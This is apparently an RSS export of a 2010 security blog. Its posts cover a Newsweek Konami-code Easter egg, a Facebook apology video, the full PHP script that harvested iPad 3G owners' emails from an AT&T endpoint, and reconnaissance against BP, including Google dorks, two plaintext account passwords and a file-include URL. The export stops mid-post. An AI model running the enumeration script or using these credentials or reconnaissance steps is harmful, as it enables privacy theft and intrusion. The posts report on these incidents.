			<content:encoded><![CDATA[<p><a href="http://ptn-images.s3.amazonaws.com/zombie1.jpg"><img src="http://ptn-images.s3.amazonaws.com/zombie1-150x150.jpg" alt="" title="zombie1" width="150" height="150" class="alignleft size-thumbnail wp-image-4202" /></a></p>

<p>Newsweek.com becomes the latest in a <a href="http://konamicodesites.com/">long list of sites</a> that will reveal an Easter egg if you enter the Konami Code (↑, ↑, ↓, ↓, ←, →, ←, →, B, A, enter) correctly. The Konami Code is a cheat code that appeared in <a href="http://en.wikipedia.org/wiki/List_of_Konami_code_games">many of Konami&#8217;s video games</a>, starting in around 1986 (my favorite places to use it were Contra and Life Force, 30 lives FTW). Ostensibly this is probably something that was included by a developer unbeknownst to the powers that be at Newsweek, similar to an incident that happened <a href="http://praetorianprefect.com/archives/2009/04/now-i-will-believe-that-there-are-unicorns/">at ESPN involving unicorns</a> last year.
<br /><br /><br /><br /></p>

<p><div id="attachment_4205" class="wp-caption alignnone" style="width: 706px"><a href="http://ptn-images.s3.amazonaws.com/konami_newsweek.jpg"><img src="http://ptn-images.s3.amazonaws.com/konami_newsweek.jpg" alt="" title="konami_newsweek" width="696" height="832" class="size-full wp-image-4205" /></a><p class="wp-caption-text">Enter Konami code, be warned of Zombie attack.</p></div>
<br /></p>

<p>Buried in a file of other Javascript libraries used by the Newsweek site is the <a href="http://code.google.com/p/konami-js/">Konami Javascript library</a> code written by <a href="http://www.georgemandis.com/">George Mandis</a>. Within <u>http://www.newsweek.com/etc/designs/newsweek/lib.js</u> is the following Javascript, which looks for the keyboard pattern (↑, ↑, ↓, ↓, ←, →, ←, →, B, A, enter) and replaces content on the page when successful as shown:</p>

<pre><code><br />/*
    * Konami-JS ~
    * Modified variable names and obscured (March 31st, 2010), but otherwise intact
    * :: Now with support for touch events and multiple instances for 
    * :: situations that call for multiple easter eggs!
    * Code: http://konami-js.googlecode.com/
    * Examples: http://www.snaptortoise.com/konami-js
    * Copyright (c) 2009 George Mandis (georgemandis.com, snaptortoise.com)
    * Version: 1.2 (1/30/2010)
    * Licensed under the GNU General Public License v3
    * http://www.gnu.org/copyleft/gpl.html
    * Tested in: Safari 4, Firefox 3, IE7 and Mobile Safari 2.2.1
*/

var AdDebug = function() {
    var adDebug= {
            addEvent:function ( obj, type, fn, ref_obj )
            {
                if (obj.addEventListener)
                    obj.addEventListener( type, fn, false );
                else if (obj.attachEvent)
                {
                    // IE
                    obj["e"+type+fn] = fn;
                    obj[type+fn] = function() { obj["e"+type+fn]( window.event,ref_obj ); }

                    obj.attachEvent( "on"+type, obj[type+fn] );
                }
            },
            input:"",
            pattern:"3838404037393739666513",
            load: function(link) {  

                this.addEvent(document,"keydown", function(e,ref_obj) {                                         
                    if (ref_obj) adDebug = ref_obj; // IE
                    adDebug.input+= e ? e.keyCode : event.keyCode;
                if (adDebug.input.indexOf(adDebug.pattern) != -1) {
                    adDebug.code(link);
                    adDebug.input="";
                    return;
                    }
                },this);
            this.iphone.load(link)

                },
            code: function(link) { window.location=link},
            iphone:{
                    start_x:0,
                    start_y:0,
                    stop_x:0,
                    stop_y:0,
                    tap:false,
                    capture:false,
                    keys:["UP","UP","DOWN","DOWN","LEFT","RIGHT","LEFT","RIGHT","TAP","TAP","TAP"],
                    code: function(link) { window.location=link},
                    load: function(link){
                            adDebug.addEvent(document,"touchmove",function(e){
                              if(e.touches.length == 1 &amp;&amp; adDebug.iphone.capture==true){ 
                                var touch = e.touches[0]; 
                                    adDebug.iphone.stop_x = touch.pageX;
                                    adDebug.iphone.stop_y = touch.pageY;
                                    adDebug.iphone.tap = false; 
                                    adDebug.iphone.capture=false;
                                    adDebug.iphone.check_direction();
                                    }
                                    });               
                            adDebug.addEvent(document,"touchend",function(evt){
                                    if (adDebug.iphone.tap==true) adDebug.iphone.check_direction();           
                                    },false);
                            adDebug.addEvent(document,"touchstart", function(evt){
                                    adDebug.iphone.start_x = evt.changedTouches[0].pageX
                                    adDebug.iphone.start_y = evt.changedTouches[0].pageY
                                    adDebug.iphone.tap = true
                                    adDebug.iphone.capture = true
                                    });               
                                    },
                    check_direction: function(){
                            x_magnitude = Math.abs(this.start_x-this.stop_x)
                            y_magnitude = Math.abs(this.start_y-this.stop_y)
                            x = ((this.start_x-this.stop_x) &lt; 0) ? "RIGHT" : "LEFT";
                            y = ((this.start_y-this.stop_y) &lt; 0) ? "DOWN" : "UP";
                            result = (x_magnitude &gt; y_magnitude) ? x : y;
                            result = (this.tap==true) ? "TAP" : result;                     
                            if (result==this.keys[0]) this.keys = this.keys.slice(1,this.keys.length)
                            if (this.keys.length==0) this.code(this.link)
                            }
                    }
    }

    return adDebug;
}

var adDebugContent = function(){
    function render() {
        $("a").attr("href", "#");

        // FEATURE
        var feature = '&lt;article class="feature-area feature-style-wide"&gt;&lt;div class="feature-content"&gt;&lt;header&gt;&lt;span class="byline" property="dc:creator"&gt;MIKE ROBINSON&lt;/span&gt;&lt;h1 class="header header-60"&gt;&lt;a href="#"&gt;ZOMBIES ATTACK!&lt;/a&gt;&lt;/h1&gt;&lt;span class="subhead"&gt;Run for the hills!&lt;/span&gt;&lt;/header&gt;&lt;p&gt;The undead have risen from their graves and invaded large portions of the east coast. Driven only by an unsatiable desire for brains, there seems to be no stopping their ruthless push forward. Residents are advised to barricade themselves in their homes and wait for further instructions. Under no circumstances should the walking dead be allowed in your house.&lt;/p&gt;&lt;/div&gt;'
        $(".feature").html(feature);

        // NEWSWEEK NOW
        $(".newsweek-now .par").html("");
        var nowHtml = "";
        var nowTemplate = '&lt;div class="newsweeknow section"&gt;&lt;article class="stream-item" class="stream-item article-item"&gt;&lt;h2 class="header" property="dc:title"&gt;&lt;a href="#"&gt;${title}&lt;/a&gt;&lt;/h2&gt;&lt;div class="grid-5"&gt;&lt;p class="text" property="dc:abstract"&gt;${description}&lt;a rel="dcterm:source" href="#" class="more"&gt;More &lt;span class="guillemets"&gt;&amp;rsaquo;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;aside class="grid-2 last"&gt;&lt;a href="/search.html?q=tea+party" class="primary-tag" title="Primary Tag" property="dc:subject ctag:label foaf:primaryTopic" typeof="ctag:Tag" resource="/content/newsweek/tag/politics.html" rel="ctag:means"&gt;Zombies&lt;/a&gt;&lt;span class="byline"&gt;by &lt;span class="author"&gt;&lt;a typeof="foaf:person" property="dc:creator" rel="foaf:publications"&gt;${author}&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;time property="dc:created" pubdate="true" datetime="2010-06-11"&gt;Jun 11, 2010&lt;/time&gt;&lt;/aside&gt;&lt;/article&gt;&lt;/div&gt;';

        for(var i = 0; i &lt; content.now.length; i++){
            var template = nowTemplate;
            var item = content.now[i];

            template = template.replace("${title}", item.title);
            template = template.replace("${description}", item.description);
            template = template.replace("${author}", item.author);

            nowHtml += template;
        }
        $(".newsweek-now .par").html(nowHtml);

        // SPECTRUM
        $(".spectrum h2").html(content.spectrum.title);
        $(".spectrum a").attr("href", "#");
        var spectrumItems = $(".spectrum ul.sidebar-content li");
        var j = 0;
        for(var i = 0; i &lt; spectrumItems.length; i++){
            var element = spectrumItems[i];

            if(j &lt; content.spectrum.viewpoints.length){
                var item = content.spectrum.viewpoints[j];

                $(element).find("h3 a").text(item.title);
                $(element).find("q a").html(item.quote);
                $(element).find("span.source").text(item.source);
                $(element).find("cite.publication").hide();
                j++;
            } else {
                $(".spectrum ul.sidebar-content li").eq(i).remove();
            }
        }
    }

    var content = {
        "now":[
            {
                "title":"The Zombie Invasion Timeline",
                "description":"It was just three months ago that patient zero, a former British citizen living in New York, was identified as the cause of the zombie invasion. While initially considered to be a bad sinus infection, the disease quickly spread after Patient Zero ate the brains of a attending neurosurgeon.",
                "author":"Steven Stone"
            },
            {
                "title":"Fleeing the Zombie Horde: What Are Our Options?",
                "description":"With goverment barricades falling and traditional warfare tactics deemed ineffective, the local populace must now consider the option of fleeing as viable and advised. There are many options depending on an individuals geographical location, however most zombie experts expressly advise against running for the hills without proper preparation. One must take into consideration the hazardous effects natural elements such as rain and cold weather can have, especially in cold winter months.",
                "author":"Dan Alcalde"

            },
            {
                "title":"No End in Sight for Undead Feast",
                "description":"The haunted continue to walk the streets, often heard moaning 'BRAAAAAIIIIIINS!' [paraphrased]. With their unstoppable quest for human brains the undead have shown no signs in slowing down their pursuit or consumption of our most precious organs. A noted chef suggests, 'While zombies will eat any organ, they most definitely have a preference for our soft cranial tissue. It is easily digestible, and once the tough outer skull is removed quite simple to recover.'",
                "author":"Roberto Gonzalez"
            },
            {
                "title":"Go For the Head",
                "description":"Several close combat experts have reiterated how important it is to strike a zombie directly in the head with a large blunt weapon. Only by smashing their brains can you be certain the approaching undead will not rise again and feast on your exposed limbs.",
                "author":"Nicole Barth"
            },
            {
                "title":"Zombies and You",
                "description":"Not everybody reacts the same to the undead. If you, or a loved one, has encountered a zombie please share your experiences in the comments.",
                "author":"Monica Parra"
            }

        ],
        "spectrum":{
            "title":"Zombie Invasion Continues Unabated",
            "viewpoints":[
                {
                    "title":"SUSPICIOUS",
                    "quote":"I don't see how every barricade could fail unless the government meant to let them through.",
                    "source":"Tim Knight"
                },
                {
                    "title":"DECISIVE",
                    "quote":"If we can't be protected then we'll just protect ourselves!",
                    "source":"Mike Robinson"
                },
                {
                    "title":"FLEEING",
                    "quote":"Save yourselves, run now",
                    "source":"Mark Catalano"
                },
                {
                    "title":"HUNGRY",
                    "quote":"Braaaaaains. Braains brains braaaaaaaaains...",
                    "source":"Dan Alcalde"
                },
                {
                    "title":"BITTEN",
                    "quote":"Wow those things bite hard. Oh, I feel funny...",
                    "source":"Andrew Sprouse"
                }
            ]
        }

    }

    return {
        render: render
    } 
}();

</code></pre>

<h3>Finally</h3>

<p>In the case where this happened on ESPN the results were mostly harmless. As explained by developer Keith Lam, the incident <a href="http://keithlam.com/2009/04/28/espncom-unicorns/">was a prank</a>, not an indication that someone hacked into the site (the developer was canned though). It will be interesting to see if Newsweek&#8217;s amusing defacement is the same situation.</p>

<p>If so, the only downside to the ESPN unicorns was that it exposed that there is little control over the production environment at ESPN, it was fairly easily for a developer to sneak something into production without anyone knowing about it. Unicorns are funny, a disgruntled person could come up with things to show on the web site that aren&#8217;t so funny.</p>

<p>But in both cases, these are harmless jokes, so no harm no foul for the most part.</p>

<h3>Update &#8211; 6/15/10</h3>

<p>According to a Newsweek spokesperson it was an internal developer: &#8220;It&#8217;s true that our programmers had a bit of fun and hid the Konami Easter egg in the site. It does not affect the rest of the site&#8217;s functionality. Now that we&#8217;ve all had a laugh, we will be removing it.&#8221;</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/going-after-bp/">Going After BP</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/">Congressional Web Site Defacements Follow the State of the Union</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/umm-techcrunch-defacement-two-in-24-hours/">Umm&#8230;TechCrunch? Defacement Two in 24 Hours</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/techcrunched-techcrunch-the-victim-of-a-defacement/">TechCrunched &#8211; TechCrunch the Victim of a Defacement</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/baidu-com-the-latest-victim-of-iranian-cyberarmy/">Baidu.com the Latest Victim of Iranian CyberArmy</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Zuckerburg Apologizes for Facebook Privacy Changes</title>
		<link>http://praetorianprefect.com/archives/2010/06/zuckerburg-apologizes-for-facebook-privacy-changes/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/zuckerburg-apologizes-for-facebook-privacy-changes/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 21:32:39 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Technology in Society]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4185</guid>
		<description><![CDATA[A video recently went up where Facebook CEO Mark Zuckerberg took the time to apologize to Facebook's users for the multiple recent confusing and "open by default" changes to Facebook's privacy settings.]]></description>
			<content:encoded><![CDATA[<p>A video recently went up where Facebook CEO Mark Zuckerberg took the time to apologize to Facebook&#8217;s users for the multiple recent confusing and &#8220;open by default&#8221; changes to Facebook&#8217;s privacy settings.</p>

<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/O6nBhhnnuOM&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/O6nBhhnnuOM&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>

<p>I feel better now.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/facebook.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/facebook-150x150.jpg" alt="" title="facebook" width="150" height="150" class="alignnone size-thumbnail wp-image-4194" /></a>
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/04/give-this-man-a-haircut-and-support-a-worthwhile-cause/">Give this Man a Haircut and Support a Worthwhile Cause</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/lojack-for-children/">LoJack for children</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/yahoo-and-the-objectification-of-women/">Yahoo! and the Objectification of Women</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/zuckerburg-apologizes-for-facebook-privacy-changes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>114,000 iPad Owners: The Script that Harvested Their E-mail Addresses</title>
		<link>http://praetorianprefect.com/archives/2010/06/114000-ipad-owners-the-script-that-harvested-their-e-mail-addresses/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/114000-ipad-owners-the-script-that-harvested-their-e-mail-addresses/#comments</comments>
		<pubDate>Thu, 10 Jun 2010 02:33:19 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[enumeration]]></category>
		<category><![CDATA[AT&T]]></category>
		<category><![CDATA[iPad]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4100</guid>
		<description><![CDATA[Here is the script referenced in the <a href="http://gawker.com/5559346/">Gawker story from earlier</a> that describes how a number of early iPad 3G subscribers, including names like Harvey Weinstein, Michael Bloomberg, Diane Sawyer, and Rahm Emanuel had their e-mails revealed via a poorly designed web application hosted by AT&#38;T.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ipad.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ipad-150x150.jpg" alt="" title="ipad" width="150" height="150" class="alignleft size-thumbnail wp-image-4121" /></a></p>

<p>Here is the script referenced in the <a href="http://gawker.com/5559346/">Gawker story from earlier</a> that describes how a number of early iPad 3G subscribers, including names like Harvey Weinstein, Michael Bloomberg, Diane Sawyer, and Rahm Emanuel had their e-mails revealed via a poorly designed web application hosted by AT&amp;T.</p>

<p>Goatse Security, named for the famous Internet shock image, wrote the script to harvest e-mail addresses by providing ICC-ID numbers (integrated circuit card identifier, a number that associates a SIM card with a subscriber) and parsing the returned e-mail address. 
<br /><br /><br /></p>

<p><div id="attachment_4114" class="wp-caption aligncenter" style="width: 510px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_ileakinside3.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_ileakinside3.jpg" alt="" title="500x_ileakinside3" width="500" height="73" class="size-full wp-image-4114" /></a><p class="wp-caption-text">High profile users from the list of harvested e-mail addresses.</p></div>
<br /></p>

<p>After speaking with Goatse Security member Weev, he was kind enough to share the script:</p>

<pre><code><br />&lt;?php

// iPad 3G Account Slurper
//
// Usage: ./ipadump.php ICCID-base count
// (The script generates the final checkdigit to produce ICCIDs from the entered base)

$useragent="Mozilla/5.0 (iPad)"; //Spoof as iPad
$ICCIDroot = $_SERVER['argv'][1]; 
$ICCIDcount = $_SERVER['argv'][2];

function genluhn($number){ //Crappy home-made Luhn checkdigit generator
    $i = strlen($number)-1;
    do {
        $array[] = $number[$i];
        $i--;
    } while ($i &gt; -1);
    $i = 0;
    foreach ($array as $digit) {
        if (!($i &amp; 1)){
            $digit = $digit * 2;
            if ($digit &gt;= 10) {
                $digit = $digit - 9;
            }
        }
        $total += $digit;
        $i++;
    }
$luhn = 10 - ($total % 10);
if ($luhn == 10) $luhn=0;
return $luhn;
}


while (1) { //Continue FOREVER

    $ch = curl_init(); //Set up cURL
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //Since theres a lot of redirection
    curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies"); //See later
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Returns any and all data
    $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to 
the ICCID
    curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&amp;IMEI=0");
    $output = curl_exec($ch); //Load first page with ICCID
    curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer");
    $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript. 
cURL is nice and passes the previously GET'd info
    curl_close($ch); 
    //print $output; //Prints HTML result

    if (!($counter % 50)) echo "-".strval($ICCID)."-\n"; //Prints ICCID every 50 counts just 
to keep track of how far the script has gotten

    //Parse output. Terribly sloppy
    if (preg_match("/&lt;title&gt;Error&lt;\/title&gt;/", $output, $match)) {
        preg_match("/&lt;div class=\"info-container\"&gt;(.*)&lt;br&gt;(.*)&lt;br&gt;/msU", $output, 
$match);
        $match[0] = preg_replace("/&lt;div class=\"info-container\"&gt;\n\s\s+/","",$match[0]);
        $match[0] = preg_replace("/&lt;\/b&gt;&lt;br&gt;/", "&lt;\/b&gt; &lt;br&gt;", $match[0]); //Because I 
want space between the period and the next sentence, dammit
        $errnum = strip_tags($match[0]);
        $status = "Error! ".$errnum; //Return specific error message
    } else if (preg_match("&lt;input id=\"email\" name=\"email\" type=\"email\" 
placeholder=\"Required\" value=\".*\@.*\" autocapitalization=\"off\" autocorrect=\"off\"&gt;", 
$output, $match)) {
        $match[0] = preg_replace("/input id=\"email\" name=\"email\" type=\"email\" 
placeholder=\"Required\" value=\"/","",$match[0]);
        $status = preg_replace("/\" autocapitalization=\"off\" autocorrect=\"off\"/", "", 
$match[0]); //Return email address
    } else {
        $status = "Inactive"; //Assume SIM is inactive if nothing tells us otherwise. Bad 
logic, will fix.
    }

    if ($status != "Inactive") echo strval($ICCID)." : ".$status."\n"; //Print ICCID with error 
message or email address. Can print if ICCID is inactive, but it makes for a long, redundant log.
    if ($counter == $ICCIDcount) exit;
    $ICCIDroot++; //step ICCID
    $counter++; //step loop counter
}
?&gt;
</code></pre>

<p>There are probably a few things worth pointing out. They had to set the user-agent string to be the iPad as shown:</p>

<pre><code>$useragent="Mozilla/5.0 (iPad)";
</code></pre>

<p>The vulnerable URL at att.com was:</p>

<pre><code>https://dcp2.att.com/OEPClient/openPage?ICCID=Insert number here&amp;IMEI=0
</code></pre>

<p>And that&#8217;s it, an e-mail address gets returned in the successful iterations (active ICCID) and parsed. There&#8217;s no hack, no infiltration, and no breach, just a really poorly designed web application that returns e-mail address when ICCID is passed to it.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/12/shodan-cracking-ip-surveillance-dvr/">SHODAN: Cracking IP Surveillance DVR</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/youve-been-shodand/">You&#8217;ve been SHODAN&#8217;d</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/114000-ipad-owners-the-script-that-harvested-their-e-mail-addresses/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Going After BP</title>
		<link>http://praetorianprefect.com/archives/2010/06/going-after-bp/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/going-after-bp/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 20:43:09 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Web Site Defacement]]></category>
		<category><![CDATA[brute forcing]]></category>
		<category><![CDATA[hacktivism]]></category>
		<category><![CDATA[remote file inclusion]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[vpn]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4050</guid>
		<description><![CDATA[BP continues to be the subject of criticism following the Deepwater Horizon oil spill, and the hacking community appears to be taking exception to some of BP's recent public relations activities in the online arena.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-150x150.jpg" alt="" title="bp" width="150" height="150" class="alignleft size-thumbnail wp-image-4055" /></a></p>

<p>BP continues to be the subject of criticism following the Deepwater Horizon oil spill, and the hacking community appears to be taking exception to some of BP&#8217;s recent public relations activities in the online arena. Specifically, reactions to BP&#8217;s having bought the sponsored link for the search term &#8216;oil spill&#8217; seems to have triggered resentment in the form of both reconnaissance work, a Twitter account compromise, and an amusing cross site scripting vulnerability.</p>

<p>In the Reddit case, the method shown and gotchas demonstrated are worth covering, although no actual hack takes place. The XSS demonstrated at the bottom of the post is just creative and funny.</p>

<h3>Twitter</h3>

<p>As widely reported, on May 27th, BP&#8217;s official Twitter account was compromised and the following tweet put up.</p>

<p><div id="attachment_4062" class="wp-caption alignnone" style="width: 558px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-twitter-hacked.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-twitter-hacked.jpg" alt="" title="bp-twitter-hacked" width="548" height="417" class="size-full wp-image-4062" /></a><p class="wp-caption-text">Pick a stronger password.</p></div>
<br /></p>

<p>And while it&#8217;s not a hack, the spoof Twitter account <a href="http://www.twitter.com/BPGlobalPR">BPGlobalPR</a> has garnered some attention (150k followers) as a satirical response to BP&#8217;s actual public relations response. It has gotten enough attention that the real BP has made overtures to the fake account to <a href="http://newsfeed.time.com/2010/06/09/bp-gets-bpglobalpr-to-clean-up-its-twitter/">better identify itself as a parody</a>.</p>

<h3>Reddit</h3>

<p>Last night on Reddit a user skipperdee responded to a post about the BP sponsored link <a href="http://www.reddit.com/r/politics/comments/ccuc1/if_bp_wants_to_waste_their_money_buying_key_words/">as follows</a>:</p>

<p><div id="attachment_4059" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/h08EB2.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/h08EB2.png" alt="" title="h08EB" width="750" height="526" class="size-full wp-image-4059" /></a><p class="wp-caption-text">Reconnaissance</p></div>
<br /></p>

<p>Let&#8217;s walk through his suggestions:</p>

<h4>VPN Login Screen</h4>

<p>Looking at what&#8217;s here, he found what is ostensibly a VPN login screen for some extranet type applications: https://access.bpglobal.com/bp/C/login.html?_targetURL=https://access.bpglobal.com/pkmslogin.form (with what looks like an open redirect).</p>

<p>Down tick one for information security is that it offers only certificate based authentication or alternatively login with a plain id and password.</p>

<p><div id="attachment_4056" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/IDAM_login.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/IDAM_login.jpg" alt="" title="IDAM_login" width="750" height="360" class="size-full wp-image-4056" /></a><p class="wp-caption-text">https://access.bpglobal.com/help/bpcertExpired.html</p></div>
<br /></p>

<p>A review of this screen (above) however seems to indicate that the user&#8217;s windows login (active directory) is the same as their IDAM login, by referencing the phrase NT ID and password.</p>

<h4>User Names</h4>

<p>Our Reddit user goes on to show off a little Google hacking by demonstrating how to find out the user names of BP employees:</p>

<p><a href="http://www.google.com/#hl=en&amp;q=%22Documents+And+Settings%22+site%3Abp.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=dfdf66882bd03aae">http://www.google.com/#hl=en&amp;q=%22Documents+And+Settings%22+site%3Abp.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=dfdf66882bd03aae</a>.</p>

<p><div id="attachment_4067" class="wp-caption alignnone" style="width: 646px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_mydocs.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_mydocs.jpg" alt="" title="bp_mydocs" width="636" height="111" class="size-full wp-image-4067" /></a><p class="wp-caption-text">Username equals Warna3.</p></div>
<br /></p>

<p>Because a number of BP employees use the built in MS Word footer option for file name and path, their user names have been exposed in publicly released documents. Now that a number of usernames can be enumerated, with a brute force password cracker its off to the races for an attacker.</p>

<h4>Documents</h4>

<p>He then goes on to demonstrate that publicly available sites have a sub-directory /STAGING which appears to show semi-public documents (releases to the press, investor releases, etc.).</p>

<p><a href="http://www.google.com/#q=site:bp.com+inurl:staging+%222010%22&amp;hl=en&amp;start=0&amp;sa=N&amp;fp=dfdf66882bd03aae">http://www.google.com/#q=site:bp.com+inurl:staging+%222010%22&amp;hl=en&amp;start=0&amp;sa=N&amp;fp=dfdf66882bd03aae</a></p>

<p>It&#8217;s unclear that anything unusual is publicly exposed here. One document is marked official use only which shows the oil spill projections, however that&#8217;s a lot like saying something is under copyright but still releasable. Another is marked &#8220;Project Confidential&#8221; but it&#8217;s unclear if it left that classification when added to the /STAGING site.</p>

<p><div id="attachment_4086" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_situationmap.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_situationmap.jpg" alt="" title="bp_situationmap" width="750" height="579" class="size-full wp-image-4086" /></a><p class="wp-caption-text">Situation Map.</p></div>
<br /></p>

<p>Like a lot of large companies, there&#8217;s probably more online than should be, but it doesn&#8217;t appear /STAGING has any special significance as an intranet type site. I will confess, this is my favorite document, <a href="http://docs.google.com/viewer?a=v&amp;q=cache:O4zm5Oi8orsJ:www.bp.com/liveassets/bp_internet/globalbp/STAGING/global_assets/downloads/H/horizon_magazine_issue_2_april_2008.pdf+site:bp.com+inurl:staging+%222010%22+confidential&amp;hl=en&amp;gl=us&amp;pid=bl&amp;srcid=ADGEESj2qEnWcCOF8SWSE5Ikgv1JZDNi2DCJMt93uwf0BsHNct0gjaJcG0ymZucQ0kPIP5GbvWPemQ_7Y2Ddb76Ibx9-SU2hJfKB2wxvy-IXZAEhzJXqhWSKavmJCLcSAvBPxlUSw5EL&amp;sig=AHIEtbSyg7hGwgwf5flxBZmau3Amuc-x_A">the April 2008 company magazine</a>:</p>

<p><div id="attachment_4087" class="wp-caption alignnone" style="width: 495px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_horizon.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_horizon.jpg" alt="" title="bp_horizon" width="485" height="649" class="size-full wp-image-4087" /></a><p class="wp-caption-text">BP Horizon: The Battle to Secure Company Data.</p></div>
<br /></p>

<h4>Some Passwords</h4>

<p>There are two old passwords in two of the files, a form and a newsletter, both are for ibackup.com access which like other document sharing sites has a public folder concept. Given their age, there probably isn&#8217;t much of an issue here, however password re-use inside organizations is quite common.</p>

<p>ID: bproadmap<br />
PW: safety<br />
<a href="http://www.bp.com/liveassets/bp_internet/bp_canada_noel/bp_canada_noel_english/STAGING/local_assets/downloads_pdfs/j/journey_hazard_assessment_card_2009_02_18.pdf">journey_hazard_assessment_card_2009_02_18.pdf</a></p>

<p>ID: bpshipping02<br /> 
PW: flag01<br />
<a href="http://docs.google.com/viewer?a=v&amp;q=cache:6nzmWJJpB3kJ:www.bp.com/liveassets/bp_internet/bp_shipping/bp_shipping_english/STAGING/local_assets/downloads_pdfs/f/Flag_29_May_2008.pdf+site:bp.com+inurl:staging+password&amp;hl=en&amp;gl=us&amp;pid=bl&amp;srcid=ADGEESieFMPdmCO_hNW2MSA4pu7K_bGkmXjhna1KtQNEWiMcdfmOrm658QSkwKVIfO5rFFkOWkFPe8kq9ZssmL_XQ8K4Hdbkm409NGT_A0c0yVynORfFiqQLXNNTgaArMHygEpG9KCix&amp;sig=AHIEtbT7TxhK88zxrqpdVTepx1Z8nH_lhA">Flag_29_May_2008.pdf</a></p>

<p>In the case of the second id, it certainly looks to be the kind of id and password that gets incremented for different things (bpshipping01, bpshipping03, flag02).</p>

<h3>PHP File Include and XSS</h3>

<p>Finally, the Reddit commenter points out the energizer.gp.com URL as one that appears to be a web application with a few issues including potentially a PHP remote file include or arbitrary file access:</p>

<p>http://energiser.bp.com/help.php?module=moodle&amp;file=insert file here</p>

<p>The site appears to use Moodle, a popular CMS platform, thus something else that can be looked at. However <a href="http://www.xssed.com/mirror/67152/">holisticinfosec got there first</a> and best with an XSS based iFrame injection:</p>

